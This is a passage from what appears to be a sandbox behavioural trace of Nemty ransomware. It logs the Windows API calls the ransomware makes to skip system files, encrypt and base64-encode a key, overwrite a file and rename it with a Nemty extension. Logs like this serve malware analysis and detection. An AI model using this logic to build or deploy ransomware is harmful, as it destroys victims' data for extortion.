out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e990cc7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e990cc7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="circle_glass_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0059.983] lstrcmpiW (lpString1="circle_glass_Thumbnail.bmp", lpString2=".") returned 1 [0059.983] lstrcmpiW (lpString1="circle_glass_Thumbnail.bmp", lpString2="..") returned 1 [0059.983] lstrcmpiW (lpString1="circle_glass_Thumbnail.bmp", lpString2="...") returned 1 [0059.983] lstrcmpiW (lpString1="circle_glass_Thumbnail.bmp", lpString2="windows") returned -1 [0059.983] lstrcmpiW (lpString1="circle_glass_Thumbnail.bmp", lpString2="$RECYCLE.BIN") returned 1 [0059.983] lstrcmpiW (lpString1="circle_glass_Thumbnail.bmp", lpString2="rsa") returned -1 [0059.983] lstrcmpiW (lpString1="circle_glass_Thumbnail.bmp", lpString2="NTDETECT.COM") returned -1 [0059.983] lstrcmpiW (lpString1="circle_glass_Thumbnail.bmp", lpString2="ntldr") returned -1 [0059.983] lstrcmpiW (lpString1="circle_glass_Thumbnail.bmp", lpString2="MSDOS.SYS") returned -1 [0059.983] lstrcmpiW (lpString1="circle_glass_Thumbnail.bmp", lpString2="IO.SYS") returned -1 [0059.983] lstrcmpiW (lpString1="circle_glass_Thumbnail.bmp", lpString2="boot.ini") returned 1 [0059.983] lstrcmpiW (lpString1="circle_glass_Thumbnail.bmp", lpString2="boot.ini") returned 1 [0059.983] lstrcmpiW (lpString1="circle_glass_Thumbnail.bmp", lpString2="AUTOEXEC.BAT") returned 1 [0059.983] lstrcmpiW (lpString1="circle_glass_Thumbnail.bmp", lpString2="ntuser.dat") returned -1 [0059.983] lstrcmpiW (lpString1="circle_glass_Thumbnail.bmp", lpString2="desktop.ini") returned -1 [0059.983] lstrcmpiW (lpString1="circle_glass_Thumbnail.bmp", lpString2="CONFIG.SYS") returned -1 [0059.983] lstrcmpiW (lpString1="circle_glass_Thumbnail.bmp", lpString2="RECYCLER") returned -1 [0059.983] lstrcmpiW (lpString1="circle_glass_Thumbnail.bmp", lpString2="BOOTSECT.BAK") returned 1 [0059.983] lstrcmpiW (lpString1="circle_glass_Thumbnail.bmp", lpString2="bootmgr") returned 1 [0059.983] lstrcmpiW (lpString1="circle_glass_Thumbnail.bmp", lpString2="programdata") returned -1 [0059.983] lstrcmpiW (lpString1="circle_glass_Thumbnail.bmp", lpString2="appdata") returned 1 [0059.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0059.983] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="circle_glass_Thumbnail.bmp", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0059.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0059.983] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="circle_glass_Thumbnail.bmp", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="circle_glass_Thumbnail.bmp", lpUsedDefaultChar=0x0) returned 26 [0059.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0059.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0059.983] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="circle_glass_Thumbnail.bmp", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0059.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0059.983] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="circle_glass_Thumbnail.bmp", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="circle_glass_Thumbnail.bmp", lpUsedDefaultChar=0x0) returned 26 [0059.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0059.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0059.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0059.984] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0059.984] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="circle_glass_Thumbnail.bmp", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0059.984] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0059.984] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="circle_glass_Thumbnail.bmp", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="circle_glass_Thumbnail.bmp", lpUsedDefaultChar=0x0) returned 26 [0059.984] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0059.984] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0059.984] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="circle_glass_Thumbnail.bmp", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0059.984] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0059.984] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="circle_glass_Thumbnail.bmp", cchWideChar=26, lpMultiByteStr=0x4f9ed08, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="circle_glass_Thumbnail.bmp", lpUsedDefaultChar=0x0) returned 26 [0059.984] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0059.984] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0059.984] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0059.984] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0059.984] Sleep (dwMilliseconds=0x5) [0059.995] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xd7682cf0, dwHighDateTime=0x1d561e7)) [0059.995] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xd7682cf0, dwHighDateTime=0x1d561e7)) [0059.995] GetLastError () returned 0x5 [0059.995] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0059.995] GetLastError () returned 0x5 [0059.995] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0059.995] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0059.996] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0059.996] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0059.996] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0059.996] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0059.996] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f941c0 [0059.996] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x4f941c0, pcchString=0x653ec5c | out: pszString="gjelujrs2DDdiiNrA2kSGCLVAWdhP9r1weZGU8Hx+79JyQOX9R+uJ9zReVpAddkG\r\nZU4Aap4br7FT1E6qMU3jKhSYvbr5+PciqJ8tKOjPFCeTsbKPWm+s65XyZkfBzihB\r\nQsUgi+Xm5kw1A1pBr/4sd9L7a3mDBRAwFilIJ1+87ViLwVK4RJCzADcBwyvSPCpg\r\n/32x991dcgfNI92f4K/bjd87y2o8fQ/Wls1StaHnS5X0ArKy9RoaDPPInqfFkTsJ\r\nqROJ5x+zkMkBWmhRZdU4ihJzObHM+BGZxRe+RzdLmotMfC8CMVqVBgXA8FC93Wml\r\ndexHVeUnQu57aLlBF3dVWQ==\r\n", pcchString=0x653ec5c) returned 1 [0059.996] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340048 [0059.996] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0059.996] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0059.996] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0059.996] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f941c0 [0059.996] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401c0 [0059.996] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circle_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_glass_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0059.996] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0059.996] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6348d48 [0059.996] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.996] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.006] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.006] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.006] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.006] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.015] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.015] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.015] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.015] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.024] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.024] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.025] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.025] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.034] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.034] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.034] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.034] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.044] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.044] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.044] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.044] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.055] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.055] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.055] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.055] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.064] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.064] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.064] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.064] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.073] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.073] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.073] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.073] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.082] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.082] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.082] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.082] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.091] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.091] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.092] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.092] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.097] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.097] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.098] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.098] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.104] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.104] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.104] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.104] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f941c0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d48 | out: hHeap=0x4f90000) returned 1 [0060.104] CloseHandle (hObject=0xffffffff) returned 0 [0060.104] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0060.104] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0060.104] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0060.104] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0060.104] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0060.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0060.104] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0060.104] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x4f94330 [0060.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0060.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0060.104] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circle_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_glass_thumbnail.bmp"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circle_glass_Thumbnail.bmp._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_glass_thumbnail.bmp._nemty_kgobjgd_")) returned 0 [0060.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0060.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0060.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0060.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0060.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401c0 | out: hHeap=0x4f90000) returned 1 [0060.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0060.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0060.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0060.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0060.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0060.104] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ede1450, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ede1450, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf26, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="Circle_SelectionSubpictureA.png", cAlternateFileName="")) returned 1 [0060.105] lstrcmpiW (lpString1="Circle_SelectionSubpictureA.png", lpString2=".") returned 1 [0060.105] lstrcmpiW (lpString1="Circle_SelectionSubpictureA.png", lpString2="..") returned 1 [0060.105] lstrcmpiW (lpString1="Circle_SelectionSubpictureA.png", lpString2="...") returned 1 [0060.105] lstrcmpiW (lpString1="Circle_SelectionSubpictureA.png", lpString2="windows") returned -1 [0060.105] lstrcmpiW (lpString1="Circle_SelectionSubpictureA.png", lpString2="$RECYCLE.BIN") returned 1 [0060.105] lstrcmpiW (lpString1="Circle_SelectionSubpictureA.png", lpString2="rsa") returned -1 [0060.105] lstrcmpiW (lpString1="Circle_SelectionSubpictureA.png", lpString2="NTDETECT.COM") returned -1 [0060.105] lstrcmpiW (lpString1="Circle_SelectionSubpictureA.png", lpString2="ntldr") returned -1 [0060.105] lstrcmpiW (lpString1="Circle_SelectionSubpictureA.png", lpString2="MSDOS.SYS") returned -1 [0060.105] lstrcmpiW (lpString1="Circle_SelectionSubpictureA.png", lpString2="IO.SYS") returned -1 [0060.105] lstrcmpiW (lpString1="Circle_SelectionSubpictureA.png", lpString2="boot.ini") returned 1 [0060.105] lstrcmpiW (lpString1="Circle_SelectionSubpictureA.png", lpString2="boot.ini") returned 1 [0060.105] lstrcmpiW (lpString1="Circle_SelectionSubpictureA.png", lpString2="AUTOEXEC.BAT") returned 1 [0060.105] lstrcmpiW (lpString1="Circle_SelectionSubpictureA.png", lpString2="ntuser.dat") returned -1 [0060.105] lstrcmpiW (lpString1="Circle_SelectionSubpictureA.png", lpString2="desktop.ini") returned -1 [0060.105] lstrcmpiW (lpString1="Circle_SelectionSubpictureA.png", lpString2="CONFIG.SYS") returned -1 [0060.105] lstrcmpiW (lpString1="Circle_SelectionSubpictureA.png", lpString2="RECYCLER") returned 